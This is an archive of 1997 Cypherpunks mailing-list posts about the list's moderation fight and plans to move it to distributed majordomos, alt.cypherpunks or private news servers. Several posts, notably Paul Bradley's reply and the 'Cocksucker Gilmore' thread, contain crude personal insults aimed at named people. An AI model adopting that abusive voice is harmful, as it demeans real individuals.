Message-ID: <3.0.32.19970211162704.006cebec@192.100.81.136>
MIME-Version: 1.0
Content-Type: text/plain


At 11:39 AM 2/11/97 -0500, John Young wrote:
>  Oracle's new fingerprint checking device to assure bona fide
>  log-on privileges. Covers other such devices, quotes a maker:
>  "if criminals or hackers get through these, industry will
>  step up one more level."

Fingerprint readers tend to work regardless if the finger is attached to a
body or not. All that fingerprint readers will do is increase the damage to
those relying on ever increasing, but misguided, methods of authentication.
See the rise in "identity theft" since SSN's began to be used for
identification.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Tue, 11 Feb 1997 16:31:34 -0800 (PST)
To: pdh@best.com (Peter Hendrickson)
Subject: Re: Network of majordomos
Message-ID: <3.0.32.19970211162813.006de930@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:08 PM 2/11/97 -0800, Peter Hendrickson wrote:
>At 1:09 PM 2/11/1997, Greg Broiles wrote:
>>At 10:45 AM 2/11/97 -0600, Firebeard wrote:
>>> [...] I've already taken steps, along with Jim Choate, to
>>> start a network of majordomos hosting a Cypherpunks mailing list.
>>> [...] Our intention is to have a set of majordomos which
>>> are intersubscribed to a cypherpunks list on each one, with measures
>>> taken to ensure that mail loops don't develop.
>
>> I still think you're just rediscovering Usenet technology....
>
>> And, if you must, run mail-to-news gateway(s) which send the newsgroup to
>> people who want it as E-mail.
>
>> Usenet technology does exactly what you're describing:...
>
>How about this?  The people who like Usenet should race ahead and set
>it up.  The people who like networks of majordomos should race ahead
>and set those up.  Just so long as the tracks meet somewhere in Utah.

As I understand the creation process for an alt. group, someone posts a
proposal to alt.config explaining what's being proposed, waits a week or so
to see if there's a general sense of approval or disapproval or [...] and
then they send a newgroup control message. Individual systems will choose
to add the new group, or not, depending on local policy, administrator
whim, and so forth.

I sent a proposal to alt.config last night (a few hours before I got John's
message indicating that the list is going away, so I wasn't able to include
that fact in my message; it was also ~ 10 hours before I saw Tim's message
re alt.cypherpunks so I was unable to include his more useful statement of
the group's purpose) and intend to newgroup alt.cypherpunks in a week or
so, absent a clear indication from the people in alt.config that it would
be rmgroup'ed or otherwise have a poor chance of success. I don't think a
"charter" is especially necessary or useful in the alt. hierarchy.

One feature of the "alt." groups is that there's no real control over what
happens there. If someone creates a one-way or two-way gateway between one
or more mailing lists and alt.cypherpunks, there's nothing anyone else can
do about it. (modulo cancelbunny/NoCeM, both of which are optionally
honored on a site-by-site basis)

So, the tracks will meet in Utah if someone decides to hook them up.
Perhaps this will be you?

As far as I'm concerned, nobody owns the word "cypherpunks" and we're all
free to use it in any way we please - e.g., Igor can suggest
"comp.org.cypherpunks", eight people can run "cypherpunks@foo.com" mailing
lists, and so forth. Looking for one unified acceptable-to-everyone
solution is pointless on this list. Let "n" flowers bloom.


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Evil se7en <se7en@dis.org>
Date: Tue, 11 Feb 1997 16:39:11 -0800 (PST)
To: DC-Stuff List <dc-stuff@dis.org>
Subject: Germany Versus Scientology
Message-ID: <Pine.BSI.3.91.970211162658.4364B-100000@kizmiaz.dis.org>
MIME-Version: 1.0
Content-Type: text/plain



I have posted a rather lengthy story about Germany's war against the 
Scientologists. It was long enough to preclude mailing it directly to the 
lists, so I have put it on my web site. You may find it at:

	http://www.dis.org/se7en/

with the link being directly under the large "X." I decided to post it 
for the reasons that I know several people who suffered directly at the 
hands of the Scientologists after trying to infiltrate their organization 
via the Internet. These people will recieve this message due to this 
posting. Enjoy.

se7en




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: das@razor.engr.sgi.com (Anil Das)
Date: Tue, 11 Feb 1997 16:43:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: whois cypherpunks.org ?
Message-ID: <9702111643.ZM18@razor.engr.sgi.com>
MIME-Version: 1.0
Content-Type: text/plain


With all this talk about relocating the home of cypherpunks, I decided to
see if any second level domains are registered under the cypherpunks
name.

Both cypherpunks.org and cypherpunks.com are registered by one
Elias M. Levy in Ft. Meade, MD. I haven't seen his name on the list
though. Anybody knows more about this?

--
Anil Das




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 11 Feb 1997 14:09:03 -0800 (PST)
To: Mac-crypto Distribution <rah@shipwright.com>
Subject: Mac-Crypto 1997 session Schedule
Message-ID: <v03007879af269b8a39b5@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Sender: mac-crypto@thumper.vmeng.com
Reply-To: Vinnie Moscaritolo <vinnie@webstuff.apple.com>
Mime-Version: 1.0
Precedence: Bulk
Date: Tue, 11 Feb 1997 13:43:19 -0800
From: Vinnie Moscaritolo <vinnie@webstuff.apple.com>
To: Multiple recipients of <mac-crypto@thumper.vmeng.com>
Subject: Mac-Crypto 1997 session Schedule

hey all;

I have posted a preliminary list of sessions for the 1997 Mac-Crypto
conference at the Mac-Crypto conference at the webpage
http://www.vmeng.com/mc/conf.html

if you haven't registered, please get your name in now!

if you want to give a talk, please drop me a line asap.



Vinnie Moscaritolo
http://www.vmeng.com/vinnie/
Fingerprint: 4FA3298150E404F2782501876EA2146A
-------------------------------------------------------


  ...I know what probably happened. A new high-level manager at Apple
picked up
  some old dusty videotape off the shelf, labelled "Super Bowl 1984", played
  it and said, "Yah know, that guy on the screen was making a hell of a lot of
  sense until that trouble-maker smashed it!"




--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 11 Feb 1997 14:41:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: alt.cypherpunks
Message-ID: <v0300787caf26a49a5a97@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


Hey, folks,

I thought all you had to do to create an alt.group was to have a news admin
somewhere just make a group; send out a control message of somekind. I
thought that alt groups didn't have to go through a charter, or voting
process, or anything else. They just happened.

Then, everyone just has to tell their local news admin that they went to
see it, or they can wait until their news admin sees it flying by, and adds
it to the available groups list at his own discretion.

It's not like we want comp.cypherpunks or something, with a voting process,
right?

Cheers,
Bob Hettinga





-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Tue, 11 Feb 1997 16:42:41 -0800 (PST)
To: sandfort@crl7.crl.com (Sandy Sandfort)
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <199702111458.GAA20705@toad.com>
Message-ID: <199702120140.RAA23826@songbird.com>
MIME-Version: 1.0
Content-Type: text


Sandy Sandfort allegedly said:
> 
[...]
> Finally, if anyone wants to discuss why the Cypherpunk list has
> come to this, or what I did right or wrong as a moderator, let's
> talk about--on the new list(s) YOU create.  For now, though, it's
> off-topic.  We have work to do.

If a scheme can be worked out for a distributed list, I am willing to 
support maybe 100 users at songbird.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Tue, 11 Feb 1997 16:21:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: NEW CYPHERPUNKS LIST (was Re: Moderation experiment almost over; "put up or shut up") (fwd)
Message-ID: <199702120027.SAA08451@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Tue, 11 Feb 1997 18:49:46 GMT
> From: Adam Back <aba@dcs.ex.ac.uk>
> 
> > 	This appears to be as good a time as any to announce that I'm
> > "putting up".  I've already taken steps, along with Jim Choate, to
> > start a network of majordomos hosting a Cypherpunks mailing list.  I
> > didn't intend to announce this until Jim and I had gotten the first
> > pair of 'domos working properly, but this means that we'll need to
> > speed things up.  Our intention is to have a set of majordomos which
> > are intersubscribed to a cypherpunks list on each one, with measures
> > taken to ensure that mail loops don't develop.  

> I'll contribute what I had planned:
> 
> As a stop gap measure you could create a standard majordomo at the
> beefiest of your 'domo hosts.

While it is true I was planning on bringing the Austin Cpunks remailer back
(kourier.ssz.com) this rather unexpected expansion has got me backpedalling.
So it looks like it will take about 3 weeks to get the intial site ready for
public access.

Right now my ISDN based site is all we have working. We have another site
through another ISP in the process of registering and configuration. I have
currently created a 'cypherpunks@ssz.com' but still have a couple of other
issues to work out. The most relevant one is that I will be upgrading both
Linux and Majordomo in approx. 2 weeks. We will be discussing this issue
further on Saturday at the Austin Cypherpunks meeting. If all goes well with
our discussion and my upgrade we should have the SSZ cypherpunks site
available in about 2 weeks. Sten and I hope that we can pursuade some others
to get involved both running remailers as well as modifying the various
scripts. At this point everything we do will be released to the public
domain. We also are expecting to add a proviso that all submissions to the
cpunks distributed remailer will be de facto public domain unless a specific
'fair use' header is included in each submission.

Finaly, another issue that will slow me down is the upcoming SRL show here
in Austin. I have committed time and effort so I don't know yet how the
conflicts will come or how I will resolve them. The next SRL planning meet
is Thu. nite so I will have a clearer idea of my upcoming schedule.

> Or you could create a quick 'n dirty mail exploder, by taking the
> current subscribers, and putting 100 mail addresses in a .forward file

[much good comments cut out]

> Final comment: perhaps you've investigated this, but what Perry
> Metzger has for the majordomo running cryptography@c2.net is excellent
> at stopping people forging subscribe and unsubscribe messages.
> 
> And would really cut down the nuisance of people subscribing others
> without their knowledge.

These are several of the issues that we will be discussing this Saturday.
We will also be looking at various means to distribute the subscriber list.
The current lead suggestion is to have subscriptions at any of the cpunks be
evenly distributed among them. This would somewhat complicate the subscriber
process.

Another aspect that I am hot to trot on is setting the system up so that
some of the cpunks sites could be anonymous, crypto, or combo remailers as
well.


                                                      Jim Choate
                                                      CyberTects
                                                      ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Tue, 11 Feb 1997 15:29:31 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: Cocksucker Gilmore's Big Adventure
In-Reply-To: <199702111854.KAA28289@netcom13.netcom.com>
Message-ID: <0n0E2U200YUe06aDk0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

mpd@netcom.com (Mike Duvos) writes:
> John Gilmore <gnu@toad.com> writes:
>  > Sandy has agreed to continue moderation through the end of the
>  > original 1-month experiment (through Feb 19).  And it's a good
>  > thing, too, because the "cypherpunks community" had better get
>  > off its whining butt in the next ten days, or it will no longer
>  > exist.
> 
> Ten days notice to relocate a high volume mailing list is
> insufficient.  This is yet another ultimatum by a whining coward
> who does not yet realize he is in a battle he is not going to win
> by escalation of reciprocal pissing.
<big, disgusted, snip>

You know, I was vaugley offended by John's comments about whiny
cypherpunks, until I read this message and realized who he was talking
about. John, thank you for your years of service to the cypherpunk
community 9such as it is), and Sandy, thanks for your well-intentioned
(but doomed from day one) efforts to take some resopnsibility for our
current mess. It's too bad things had to end in such a pissy way, but
anyone who wants to dole out blame should realize that in an anarchy,
all members are responsible for the maintainence of freedom.

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 02:15:05 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <855738588.515142.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> Sandy hit a pothole in the moderation experiment when Mr. Nemesis
> submitted a posting containing nothing but libelous statements about
> Sandy's employer.  He never anticipated that he wouldn't be able to
> follow his announced "post it to one list or the other" policy because
> to do so would make him legally liable (in his opinion; he's a lawyer,
> I'm not).  His gears jammed, and the whole machine came to a halt for
> a few days.

No, I think you are mistaken. If you take this as a pothole then 
there was very little road throughout the entire "moderation 
experiment". At the end of the day Sandfort discarded articles he 
didn`t like without posting them to either list and routed all 
criticism of his censorhip to the shit can.

> Now each of these posters will get their chance to do it "right" --
> on their own time and with their own resources.

As I said, you have dragged the lists name down with you. It is 
better that you close the list down now so it is no longer associated 
with a fascist such as yourself.

> A large fraction of the list seems to think that "freedom of speech"
> means that everyone is required to listen to everyone else at all
> times.  That there can't be focused, topical conversations in a
> society that has freedom of speech.  I would say the opposite; part of
> freedom of speech is the freedom to choose to whom we speak and to
> whom we listen.  This is part of what cryptography does: lets us
> control who can receive our speech, and lets recievers determine who
> the speaker is.

This is accepted by many members of the list including myself,  
However, I prefer to choose for myself who I listen to and converse with rather 
than having you or Sandfort decide for me.
 
> To paraphrase Zappa, you wouldn't know censorship if it bit you on the
> ass.  You think you're being censored when you're just being excluded
> from a forum because what you're saying isn't interesting to that forum.

And you wouldn`t know an anarchist if he bit you on the ass. Toad was 
supposed to host a list the purpose of which was to allow people to 
speak freely and without "moderation". You have censored it and you 
have fucked up. Face it, you are a fascist.

> So anyway, I'm tired of it all.  I'd much rather focus on getting my
> crypto work done than babysitting majordomo, tracking down attempts to
> subscribe the entire US Congress to the list, and debating the seventy
> or eighty "obvious right ways" to handle the list.

The obvious right way to handle the list, and the way you advocated 
until your greed for power and fear of criticism warped your 
judgement, was to run it as a totally free and open list.
 
> This is a "put up or shut up" to the cypherpunks community.

This is a "fuck off" to John Gilmore.

> The next ten days of moderated discussion, through the end of the
> original experiment, will give the community a chance to discuss
> whether and where it plans to host the list after the experiment is
> over.  My feeling is that the stalkers who have been trying to shut it
> down (Dimitri, etc) will be out in full force, trying to disrupt the
> process of finding a new home.  It would be very hard to make progress
> along that line in an unmoderated list.  Cypherpunks-unedited readers
> are welcome to try.

Eh? - Dimitri supports fully the aims and idealogies of 
crypto-anarchy as far as I can see. What he takes issue with is 
censorship, elitism and hypocisy. I happen to believe the same but I 
suppose that makes me a "stalker".

> Sandy reports that he's changing his criteria for moderation for the
> remainder of the experiment.  It was his idea, and I approve.  The
> criteria now are:
> 
> 	*  The topics of the list are:
> 		cryptography
> 		setting up replacements for cypherpunks@toad.com

Add praise of Sandfort, Gilmore (fart)(spit) and Sandforts employer 
to that.

> 	*  On-topic, legal, posts will go to the list.

Apart from the ones Sandfort doesn`t like.

> 	*  Postings with any hint of legal liability (in Sandy's opinion)
> 	   will be silently ignored.

So will posts which cricise Sandfort (spit), Gilmore (fart), Sameer 
(piss) or c2net (belch).

> 	*  Legal but off-topic posts will go to cypherpunks-flames.

Ie. None, because they will all be "silently ignored" by Sandfort.

> Sandy will apply these criteria retroactively to the backlog (of about
> 140 messages), which means that most recent criticisms of the
> moderation (which don't invove someone volunteering to do things for
> the list) will go straight to the flames list.  If you don't like it,
> I recommend that you start your own list.  Soon.

I shall, and on topic posts shall include those declaring John 
Gilmore is a cocksucker. And off topic posts will not be censored, so 
fuck you.
 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Tue, 11 Feb 1997 16:36:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cocksucker Gilmore's Big Adventure
In-Reply-To: <0n0E2U200YUe06aDk0@andrew.cmu.edu>
Message-ID: <199702120040.SAA06406@wire.insync.net>
MIME-Version: 1.0
Content-Type: text/plain


A Gilmore Supporter writes:

> You know, I was vaugley offended by John's comments about whiny
> cypherpunks, until I read this message and realized who he was talking
> about. John, thank you for your years of service to the cypherpunk
> community 9such as it is), 

John Gilmore's only contribution to Cypherpunks has been to provide
a box.  I can't even remember the last time he contributed something of
interest to the list, and he certainly ranks as one of the least
frequent contributors of substance over the years. 

Any goodwill John might have built up by letting us all use his box
has certainly been eradicated over the last few weeks by his takeover
of the list, and the series of edicts which followed. 

Yes, it was nice of John to donate the use of his box, back in the 
days when he did not feel the urge to exercise unilateral editorial
control.  But if it hadn't been his box, it would have been someone
elses box, and our gratitude towards him shouldn't be so great that
we are willing to sit back and let him do major damage to that which
"Cypherpunks" is supposed to stand for, lest someone claim we are
unappreciative. 

> and Sandy, thanks for your well-intentioned
> (but doomed from day one) efforts to take some resopnsibility for our
> current mess. It's too bad things had to end in such a pissy way, but
> anyone who wants to dole out blame should realize that in an anarchy,
> all members are responsible for the maintainence of freedom.

Sandy, unlike Herr Gilmore, has been a major contributor of substance
to the list since its inception, and hopefully he will continue to be
in the future.  The idea that he should moderate the list was of
course a silly one, but for reasons which do not reflect badly on him
in the least.  

What Mr. Blatz fails to realize is that the "problem" which certain
people tried to solve never really existed.  The quality of the
Cypherpunks list is determined solely by the amount of signal, not
by the amount of noise, unless one is getting ones feed of the 
list via 1200 baud long distance UUCP.  

Anyone can create signal by writing about relevant topics, and if
you feel signal is lacking in your particular area of interest, 
feel free to add some. 

The notion that the list was ever threatened by the humour of Dr. 
Vulis, or the one line bot-spammed insults about Tim May's heritage,
is an absurd one.  No one should have had any problem ignoring such
material, and only a politically naive fool would buy this as the
excuse for the blatant usurpation of the list by Gilmore and crew. 

--
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 11 Feb 1997 11:26:02 -0800 (PST)
To: stend@sten.tivoli.com
Subject: NEW CYPHERPUNKS LIST (was Re: Moderation experiment almost over; "put up or shut up")
In-Reply-To: <vpbu9r9tqj.fsf@grendel.tivoli.com>
Message-ID: <199702111849.SAA00534@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



I wish people would give subject fields which stand out to posts of
significant interest, other wise they tend to get lost in the noise.
(I have corrected this :-)

Sten Drescher <stend@sten.tivoli.com> writes:
> >>>>> John Gilmore writes:
> 
> JG> Sandy has agreed to continue moderation through the end of the
> JG> original 1-month experiment (through Feb 19).  And it's a good
> JG> thing, too, because the "cypherpunks community" had better get off
> JG> its whining butt in the next ten days, or it will no longer exist.
> 
> [...]
> 
> JG> This is a "put up or shut up" to the cypherpunks community.
> 
> 	This appears to be as good a time as any to announce that I'm
> "putting up".  I've already taken steps, along with Jim Choate, to
> start a network of majordomos hosting a Cypherpunks mailing list.  I
> didn't intend to announce this until Jim and I had gotten the first
> pair of 'domos working properly, but this means that we'll need to
> speed things up.  Our intention is to have a set of majordomos which
> are intersubscribed to a cypherpunks list on each one, with measures
> taken to ensure that mail loops don't develop.  
>
> 	John, I'd appreciate your permission to use your Cypherpunks
> welcome message as the basis for the welcome message of this new list.
> Also, while we will make every effort to have this new list available
> for subscriptions by Feb 20, I'd appreciate it if you could consider
> making the current list available for a short period longer if we
> encounter unanticipated difficulties.

First, thanks for your efforts!  (I had just spent a couple of hours
putting together a web page, and collecting information to organise
something, but you beat me to it.)  As I have spent some time on it,
I'll contribute what I had planned:

As a stop gap measure you could create a standard majordomo at the
beefiest of your 'domo hosts.

Or you could create a quick 'n dirty mail exploder, by taking the
current subscribers, and putting 100 mail addresses in a .forward file
at each <mail-exploder@domo.host>, and having the central 'domo with
an initial subscription list all the mail-exploders, plus all those
who subscribe afterwards.

Buys use some time to get to iron out the wrinkles in the distributed
list scheme.

As a simpler alternative to the mutually subscribed majordomo's you
might consider using mail-exploders for the final solution: set up
mail exploders which soley forward posts to subscribers (ie do not
accept posts).  The mail-exploder would be an appropriately
configured/modified majordomo itself.  Have a central majordomo which
accepts incoming posts, and forwards them to the mail-exploders.  The
central 'domo would also forward subscribe/unsubscribe to a random/the
correct(or all) majordomos.

Final comment: perhaps you've investigated this, but what Perry
Metzger has for the majordomo running cryptography@c2.net is excellent
at stopping people forging subscribe and unsubscribe messages.

The output looks like this:

: To: A.Back@exeter.ac.uk
: From: Majordomo@c2.net
: Subject: Confirmation for subscribe cryptography
: 
: Someone (possibly you) has requested that your email address be added
: to or deleted from the mailing list "cryptography@c2.net".
: 
: If you really want this action to be taken, please send the following
: commands (exactly as shown) back to "Majordomo@c2.net":
: 
:         auth abcd1234 subscribe cryptography A.Back@exeter.ac.uk
: 
: If you do not want to this action taken, just ignore this message and
: no action will be taken.

And would really cut down the nuisance of people subscribing others
without their knowledge.

Once, again thanks muchly for your's and Jim Ravage's efforts,

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Tue, 11 Feb 1997 16:50:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: alt.cypherpunks
In-Reply-To: <v0300787caf26a49a5a97@[139.167.130.246]>
Message-ID: <199702120053.SAA06437@wire.insync.net>
MIME-Version: 1.0
Content-Type: text/plain


Robert Hettinga writes:

> Hey, folks,

> I thought all you had to do to create an alt.group was to have a news admin
> somewhere just make a group; send out a control message of somekind. I
> thought that alt groups didn't have to go through a charter, or voting
> process, or anything else. They just happened.

> Then, everyone just has to tell their local news admin that they went to
> see it, or they can wait until their news admin sees it flying by, and adds
> it to the available groups list at his own discretion.

In theory, and according to the alt FAQ, anyone can create an alt group. 

In reality, control messages are merely advisory, and greater weight is
lent to control messages which have the imprimatur of the Alt Cabal than
to those issued by mere peons. 

The typical news admin finds that if he honors all rmgroup messages issued
by Cabal members, when they disapprove of a newsgroup not previously
discussed in alt.config, his life is made simpler, and he no longer has to
weed the wheat from the chaf by hand. 

Since most people are inherently lazy, and most newgroups created outside
of the alt.config process are trash, the path of least resistance is to
only automatically honor newgroups and rmgroups issued by Cabal members. 

This is of course the exact antithesis of how alt was supposed to work in
the first place, but with the large number of users on the Net at present,
it is not practical to create every single newsgroup a person might want
automatically.

--
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 11 Feb 1997 17:03:22 -0800 (PST)
To: ravage@einstein.ssz.com
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <199702120140.RAA23826@songbird.com>
Message-ID: <199702120059.SAA20410@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


so we have myself, Jim Choate, and you who colunteer to host
mailing lists for the distributed cypherpunks.

I have already created majordomo@algebra.com and cypherpunks@algebra.com.

We can coordinate our efforts. Actually, we can even have a mini
mailing list for people who want to participate in the distributed
cypherpunks experiment. If there is any interest, I can create such 
a list.

igor

Kent Crispin wrote:
> 
> Sandy Sandfort allegedly said:
> > 
> [...]
> > Finally, if anyone wants to discuss why the Cypherpunk list has
> > come to this, or what I did right or wrong as a moderator, let's
> > talk about--on the new list(s) YOU create.  For now, though, it's
> > off-topic.  We have work to do.
> 
> If a scheme can be worked out for a distributed list, I am willing to 
> support maybe 100 users at songbird.
> 
> -- 
> Kent Crispin				"No reason to get excited",
> kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
> PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Tue, 11 Feb 1997 16:47:31 -0800 (PST)
To: tcmay@got.net (Timothy C. May)
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
In-Reply-To: <199702111721.JAA22739@toad.com>
Message-ID: <199702120105.TAA00951@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> (Please leave my name in any replies to ensure I see your comments.)
> I talked to Hugh Daniel at the Saturday meeting about the creation of an
> "alt.cypherpunks" unmoderated (of course) newsgroup as a possible
> alternative (or supplement) to cypherpunks@toad.com. Greg Broiles and John
> Gilmore were there for part of the discussion, too.

     Might "we" get wider propigation with something like "talk.issues.crypto"
or "talk.cypherpunks"? 

> Charter for alt.cypherpunks: (suggested)
> "Alt.cypherpunks is for the unmoderated discussion of cryptography and the
> political, social, and economic implications of unrestricted, strong
> readers are strongly advised to learn how to use filters and other tools
> for making virtual anarchies manageable for their own tastes."

     Maybe a pointer to these tools?

> * Disadvantages

	-Mailing lists easily penetrate firewalls, while many places don't 
provide Usenet access. 

	Another possibility would be to create a "private Usenet" setting up
NNTP servers that _only_ talk to each other. This would eventually allow for
the same sort of redundancy that the "regular" usenet offers, provide some of 
the same efficient use of resources, and ease of use (almost) but provide some
protection against spammers & etc. 

	For those who don't understand, this is how it would work (and correct
me if I am wrong): 

	Usenet works by servers exchanging messages with one or more other 
servers it is decentralized and has no central authority (execpt the cabal 
--there is no cabal) inherent in the process. These servers are told _who_
they get their feed from/to, so it should be possible to set up another 
network of Usenet servers just to serve our purposes.

	As part of setting up the servers, they can be configured as to who
they allow to conenct to them with newsreader software. This means that 
if we were to set up a secondary news network, people who couldn't get a 
reliable feed locally could easily find a server non-locally who would allow
access. 

	In otherwords, you would use your news reader to "read remotely" from
one of many servers. 

	There would be several advantages to this: 

	1) It would be easy to set up different groups for different 
discussions  i.e.:

	cypherpunks.politics 		#politics and social implications.
	cypherpunks.code		#cypherpunks write code. 
	cypherpunks.announce		#non-discussion--"self" moderated
	cypherpunks.flames		#just for fun.

	2) It provides for easy propigation, without the same amount of risks 
(spam &etc.) as a general usenet feed. 

	It would be easier to provide mail2news gateways for anonymous users
as the liability of providing a general usenet mail2news gateway would be
reduced. 

	Disadvantages:
	
	It would require people to actually setup and maintain fairly complex
software on (possibly, I don't know how flexible the software is) dedicated
hardware, altho the necessary hardware would be relatively cheap (in the 
386/486/sun3\/50 range for the probable load).

	It still leaves the problem of people behind firewalls.


	I have a small server that I am willing to add this to, and I am going 
to start looking at INN this evening. I am willing to provide a feed until 
my service provider screams at me (I doubt he will) assuming that I can 
get the software up and running. 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Tue, 11 Feb 1997 11:35:28 -0800 (PST)
To: "Timothy C. May" <cypherpunks@toad.com>
Subject: List!  No Way: Creation of "alt.cypherpunks"
In-Reply-To: <v03007800af264c8cba96@[207.167.93.63]>
Message-ID: <199702111932.MAA23647@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

    tim:  

    two points you make: 

    1.  the propogation is slow...

    2.  some sites do not carry alt. groups

    are enough to kill an active discussion list. of course, it does
    slow down excessive volume.

    I vote we just set up a new majordomo with some additional antispam 
    filters including knocking out exploding mail headers, etc. I would 
    accept excluding non-members as long as we take the remailers which 
    are listed with either JP or RL.

    Therefore, I am willing to host it on our majordomo which I have 
    pretty well shaken down for other lists.  other than spam and 
    potentially non-members, I refuse to even consider censorship or 
    moderation in any form.  

    Likewise, Jim Choate and Sten Drescher apparently are trying to 
    establish a multi-site majordomo.  the extra work of maintaining 
    non-duplicates and sychronization makes the task non-trivial and 
    questionable...

    as for failure mode recovery, I can always run a backup from 
    primenet; I dont really see the need for it; we have had less than 
    4 hours downtime in the last year, and that for a regional power 
    failure which will be a mute point sometime this spring when the 
    diesal generators arrive.  knock on wood, but the T1 has been up 
    straight through.

 ==
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBMwDJNb04kQrCC2kFAQGXqQQAlq5OAvJln7RdBwD758DuEBsb6kcECP+N
ij1nknAm2xVXaUrhXBC/q7OQblSq3RP9l5N4nh3Wo9P50wCLqFX8D7tOZvJi+psD
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7QKjuAsPwUc=
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 11 Feb 1997 11:27:07 -0800 (PST)
To: tcmay@got.net
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
In-Reply-To: <v03007800af264c8cba96@[207.167.93.63]>
Message-ID: <199702111912.TAA00553@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:
> (Please leave my name in any replies to ensure I see your comments.)
> 
> I talked to Hugh Daniel at the Saturday meeting about the creation of an
> "alt.cypherpunks" unmoderated (of course) newsgroup as a possible
> alternative (or supplement) to cypherpunks@toad.com. Greg Broiles and John
> Gilmore were there for part of the discussion, too.
> 
